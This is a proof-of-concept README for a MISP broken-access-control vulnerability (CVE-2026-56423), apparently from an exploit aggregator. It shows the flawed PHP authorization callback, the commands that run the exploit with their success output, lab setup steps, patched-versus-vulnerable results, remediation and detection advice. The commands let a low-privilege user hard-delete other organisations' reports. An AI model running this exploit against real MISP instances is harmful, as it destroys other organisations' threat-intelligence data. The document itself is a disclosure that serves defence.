## https://sploitus.com/exploit?id=4F2F4CC9-70F7-5CB5-A17E-CB6B018C4885
# CVE-2026-56423 β MISP `deleteSelection` Broken Access Control
Proof of concept for a missing-authorization flaw in MISP's bulk deletion flows
for **Event Reports** and **Sharing Groups**. The `deleteSelection` handlers
authorize each selected item with a callback that ignores the item and returns
the caller's **global role permission** (`perm_add` / `perm_sharing_group`)
instead of a per-object ownership check. A low-privileged **contributor** (the
default "User" role) can therefore submit report IDs/UUIDs belonging to **any
organisation** and hard-delete them instance-wide, even though the correctly
guarded per-object `delete` action denies the very same request.
| | |
|---|---|
| **CVE** | CVE-2026-56423 |
| **Product** | MISP (Malware Information Sharing Platform) core |
| **Affected** | MISP CE/EE β€ 2.5.41 |
| **Fixed** | 2.5.42 |
| **Class** | CWE-862 β Missing Authorization (broken object-level access control) |
| **CVSS 3.1** | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) |
| **Auth** | Authenticated, low privilege (any role with `perm_add`, e.g. "User") |
| **Published** | 2026-06-22 |
| **Status** | **CONFIRMED** β contributor deletes another org's report on 2.5.40; denied on 2.5.42 |
## Root cause
`app/Controller/EventReportsController.php` (tag v2.5.40):
```php
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId β global role bool
},
]);
}
```
`CRUDComponent::deleteSelection` calls this `checkModifyCallback` for every
selected id and deletes the object whenever it returns true:
```php
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
```
Because the callback returns `$this->userRole['perm_add']` β a global boolean
that is **true for the default "User" role** β the ownership of the target
report is never checked. Contrast with the single-object `delete($id)` action,
which correctly calls
`EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete')` and denies
foreign reports.
`SharingGroupsController::deleteSelection` has the same defect using
`perm_sharing_group`.
The fix in 2.5.42 (commits `ada02fa`, `f99b3f1`) replaces the callback with a
per-item `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`.
See [`ANALYSIS.md`](ANALYSIS.md) for the full walkthrough.
## Preconditions (documented honestly)
1. The attacker holds any account whose role has `perm_add` β the built-in
**User** role, granted to ordinary contributors on multi-org instances.
2. `MISP.enable_themes = true`. The `deleteSelection` action is gated in the ACL
by `AND(theming_enabled, perm_add)`, where `theming_enabled` maps to the
`MISP.enable_themes` setting. This setting is **off by default** but is a
normal UI feature flag enabled on many instances (it powers the v2 index/list
UI). With it disabled the action returns HTTP 403 before the buggy callback
runs.
## Exploit
```
python3 exploit.py https://127.0.0.1:443 \
--attacker-key \
--admin-key \
--report-id
```
```
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
```
## Reproduce
```bash
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
```
## VULN/PATCHED boundary (empirical)
| Request (low-priv contributor, foreign report) | v2.5.40 | v2.5.42 |
|---|---|---|
| correctly-guarded `delete/{id}` | 404 denied | 404 denied |
| **`deleteSelection` of the same report** | **200 β hard-deleted** | **403 β "Could not delete"; report intact** |
The same request flips from success to denial across the fix, and the correctly
guarded per-object delete is denied in both β proving the bug is the missing
per-object authorization in `deleteSelection`, not a misconfigured account.
Full transcript in [`EVIDENCE.txt`](EVIDENCE.txt).
## Impact
Any low-privileged user on a shared MISP instance can irreversibly hard-delete
Event Reports β analyst narrative attached to threat-intel events β and Sharing
Groups belonging to **other organisations**, instance-wide. This is a
cross-tenant integrity/availability compromise of a threat-intelligence platform
that CERTs, ISACs and SOCs rely on.
## Remediation
- Upgrade MISP to **2.5.42** or later.
- The fix enforces `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`
per selected item; the same pattern is applied to Sharing Groups.
## Detection
Audit MISP logs for `EventReports/deleteSelection` (and
`SharingGroups/deleteSelection`) requests where the acting user's organisation
differs from the owning organisation of the deleted object.
## Credits
Research and PoC by Caio FabrΓcio ([@BiiTts](https://github.com/BiiTts)).
## License
MIT β see [LICENSE](LICENSE).